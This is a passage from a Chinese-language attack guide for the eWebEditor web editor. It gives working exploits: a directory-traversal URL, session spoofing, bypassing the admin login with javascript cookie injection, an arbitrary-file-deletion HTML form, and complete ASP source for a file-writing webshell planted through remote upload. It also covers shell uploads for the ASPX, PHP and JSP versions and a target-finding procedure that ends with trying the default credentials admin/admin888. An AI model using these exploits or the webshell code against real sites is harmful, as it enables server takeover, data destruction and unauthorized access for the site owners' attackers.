Case Else
sContentPath = "../" & aStyleConfig(3) & "Image/"
End Select
Case "1"
sContentPath = RelativePath2RootPath(sUploadDir)
Case "2"
sContentPath = RootPath2DomainPath(RelativePath2RootPath(sUploadDir))
End Select
Select Case sType
Case "REMOTE"
sAllowExt = aStyleConfig(10)
Case "FILE"
sAllowExt = aStyleConfig(6)
Case "MEDIA"
sAllowExt = aStyleConfig(9)
Case "FLASH"
sAllowExt = aStyleConfig(7)
Case Else
sAllowExt = aStyleConfig(8)
End Select
sCurrDir = sUploadDir '注意这里,这个是得到了配置的路径地址
sDir = Trim(Request("dir")) '得到dir变量
sDir = Replace(sDir, "\", "/") '对dir变量进行过滤
sDir = Replace(sDir, "../", "")
sDir = Replace(sDir, "./", "")
If sDir <> "" Then
If CheckValidDir(Server.Mappath(sUploadDir & sDir)) = True Then
sCurrDir = sUploadDir & sDir & "/"
'重点就在这里了,看到没有,当sUploadDir & sDir存在的时候,sCurrDir就为sUploadDir & sDir的值了
'虽然上面对sDir进行了过滤,不过我们完全可以跳过.具体利用下面的利用中给出
Else
sDir = ""
End If
End If
End Sub
利用方式如下:
http://site/ewebeditor/asp/browse.asp?style=standard650&dir=…././/…././/admin
这样子就可以看到admin的内容了。构造特殊的dir绕过上面的验证!页面空白的时候查看源代码,就可以看到目录列表了!
8、session欺骗漏洞!
适用于一些设置不当的虚拟主机。当旁注得到一个webshell,而目标站存在ewebeditor却不能找到密码的时候可以尝试欺骗进入后台!顺序如下:
新建一个.asp文件,内容如下: <%Session("eWebEditor_User") = "123132323"%> 然后访问这个文件,再访问ewebeditor/admin_default.asp !欺骗进入后台!不过很老了!
9、 后台跳过认证漏洞!
访问后台登陆页面!随便输入帐号密码,返回错误!然后清空浏览器,在地址栏输入
javascript:alert(document.cookie="adminuser="+escape("admin"));
javascript:alert(document.cookie="adminpass="+escape("admin"));
javascript:alert(document.cookie="admindj="+escape("1"));
然后再清空地址栏,在路径里输入后台登陆后的页面,比如: admin_default.asp admin/default.asp 等。直接进入后台,利用方式见上文!
10、利用远程上传功能!
比如s_full样式就存在这个功能,打开编辑页面,然后图片,选择输入url 比如:http://site.com/1.gif.asp ! 然后选择上传远程文件!自动就把1.gif.asp 保存在上传目录内!注:网上的东西大部分传来传去,这个办法愚弄自己还成!文件的确显示后缀为.asp 但是不能访问,因为收集过来的时候自动截止在1.gif了所以后面的.asp等于没有!而且gif的内容就是我们这个url的路径!呵呵,后来又看到一个利用方式!是利用远程搜集的时候执行,我们文件的代码生成另外的小马!
利用代码如下:
首先建立1.gif.asp 代码如下
<%
Set fs = CreateObject("Scripting.FileSystemObject")
Set MyTextStream=fs.OpenTextFile(server.MapPath("\akteam.asp"),1,false,0)
Thetext=MyTextStream.ReadAll
response.write thetext
%>
在我们的1.gif.asp的同目录下建立一个akteam.asp文件,内容就是我们的小马:
<%on error resume next%>
<%ofso="scripting.filesystemobject"%>
<%set fso=server.createobject(ofso)%>
<%path=request("path")%>
<%if path<>"" then%>
<%data=request("dama")%>
<%set dama=fso.createtextfile(path,true)%>
<%dama.write data%>
<%if err=0 then%>
<%="success"%>
<%else%>
<%="false"%>
<%end if%>
<%err.clear%>
<%end if%>
<%dama.close%>
<%set dama=nothing%>
<%set fos=nothing%>
<%="<form action='' method=post>"%>
<%="<input type=text name=path>"%>
<%="<br>"%>
<%=server.mappath(request.servervariables("script_name"))%>
<%="<br>"%>
<%=""%>
<%="<textarea name=dama cols=50 rows=10 width=30></textarea>"%>
<%="<br>"%>
<%="<input type=submit value=save>"%>
<%="</form>"%>
利用上面说的远程上传的方式!可以得到webshell!成功率取决于,虚拟主机的
安全设置!
11、任意文件删除漏洞!
此漏洞存在于Example\NewsSystem目录下的delete.asp文件中,这是ewebeditor的测试页面,无须登陆可以直接进入!看代码
' 把带"|"的字符串转为数组
Dim aSavePathFileName
aSavePathFileName = Split(sSavePathFileName, "|")
' 删除新闻相关的文件,从文件夹中
Dim i
For i = 0 To UBound(aSavePathFileName)
' 按路径文件名删除文件
Call DoDelFile(aSavePathFileName(i))
Next
而aSavePathFileName是前面从数据库取出来的:
sSavePathFileName = oRs("D_SavePathFileName")
看看D_SavePathFileName是怎么添加到数据库里的,在addsave.asp(modifysave.asp)里:sSavePathFileName = GetSafeStr(Request.Form("d_savepathfilename"))
...
oRs("D_SavePathFileName") = sSavePathFileName
居然过滤了,是GetSafeStr函数,再看看这个函数,在Startup.asp里:
Function GetSafeStr(str)
GetSafeStr = Replace(Replace(Replace(Trim(str), "'", ""), Chr(34), ""), ";", "")
End Function
既然路径没有过滤,那就可以直接定义了,构造一个提交页面,其中d_savepathfilename自己任意赋值(要删除多个文件,用|隔开即可)。试试../../eWebEditor.asp,提交后删除该新闻,于是主目录下的eWebEditor.asp不见了!漏洞利用:
<HTML><HEAD><TITLE>eWebEditor删除文件 byldjun(>
新闻列表%20|%20增加新闻
增加新闻
http://127.0.0.1/editor/Example/NewsSystem/addsave.asp"
method="post" name="myform">
<input type=hidden name=d_originalfilename>
<input type=hidden name=d_savefilename>
<table cellspacing=3 align=center>
<tr><td>要删的文件(相对路径就可以了):</td>
<td><input type="text" name="d_savepathfilename" value="" size="90"></td>
</tr>
<tr><td>新闻标题(随便填):</td>
<td><input type="text" name="d_title" value="" size="90"></td>
</tr>
<tr><td>标题图片:</td>
<td><select name="d_picture" size=1><option value=''>无</option></select>
当编辑区有插入图片时,将自动填充此下拉框</td>
</tr>
<tr><td>新闻内容(随便填):</td>
<td><textarea name="d_content"></textarea></td>
</tr>
</table>
<input type=submit name=btnSubmit value=" 提 交 ">
<input type=reset name=btnReset value=" 重 填 ">
</form>
</BODY></HTML>
删除文件漏洞一般是配合其他漏洞使用的,比如目录遍历
<a href='list.asp'>中的list.asp地址要修改
<a href='add.asp'>中的add.asp地址要修改
<form action="http://127.0.0.1/editor/Example/NewsSystem/addsave.asp"
(http://127.0.0.1/editor/Example/NewsSystem/addsave.asp地址要修改)
另外一个简单利用方式:
<form action="http://www.xxxbing.com/editor/example/newssystem/addsave.asp" method="post">
<input type=hidden name=d_originalfilename value="x">
<input type=hidden name=d_savefilename value="x">
要删除的文件(相对路径,多个文件用“|”隔开)<br>
<input type=text name=d_savepathfilename>
<input type=hidden name="d_title" value="x">
<input type=hidden name="d_picture" value="x">
<textarea name="d_content">x</textarea>
<input type=submit name=btnSubmit value="submit">
</form>
然后得到返回的新闻ID再提交:http://www.XXXXX.com/editor/example/newssystem/delete.asp?id=[id]
有几个版本的ewebeditor 上传类型是在 security.asp 文件控制的!直接删除该文件可以上传任意webshell!
12、其他!
其他说点什么呢!以上的办法都是本人经验和网上搜集!暂时就想到这些了,以后想到了再补全!说说aspx php
jsp版本的利用吧!
ASPX版:
受影响文件:eWebEditorNet/upload.aspx
利用方法:添好本地的cer的Shell文件。在浏览器地址栏输入javascript:lbtnUpload.click();就能得到shell。嘿嘿....绕过了限制......成功的上传了ASPX文件....文件默认的上传后保存的地址是eWebEditorNet/UploadFile/现在来看看是否上传成功.....
PHP版本:PhP版本和asp版本利用方式类似!不过php权限较高,不多废话了!
jsp版本:网上有很多jsp的版本,根本没有对上传文件类型进行检测!需要注意的是jsp版本的没有上传按钮!直接选择文件,回车就可以提交了!
漏洞利用
利用eWebEditor获得WebShell的步骤大致如下:
1.确定网站使用了eWebEditor。一般来说,我们只要注意发表帖子(文章)的页面是否有类似做了记号的图标,就可以大致做出判断了。
2.查看源代码,找到eWebEditor的路径。点击“查看源代码”,看看源码中是否存在类似“<iframe ID=''eWebEditor1'' src=''/edit/ewebeditor.asp?id=content&style=web'' frameborder=0 scrolling=no width=''550'' HEIGHT=''350''></iframe>”的语句。其实只有发现了存在这样的语句了,才可以真正确定这个网站使用了eWebEditor。然后记下src=''***''中的“***”,这就是eWebEditor路径。
3.访问eWebEditor的管理登录页面。eWebEditor的默认管理页面为admin_login.asp,和ewebeditor.asp在同一目录下。以上面的路径为例,我们访问的地址为:http://www.***.net/edit/admin_login.asp,看看是否出现了登录页面。
如果没有看到这样的页面,说明管理员已经删除了管理登录页面,呵呵,还等什么,走人啊,换个地方试试。不过一般来说,我很少看到有哪个管理员删了这个页面,试试默认的用户名:admin,密码:admin888。怎么样?成功了吧(不是默认账户请看后文)!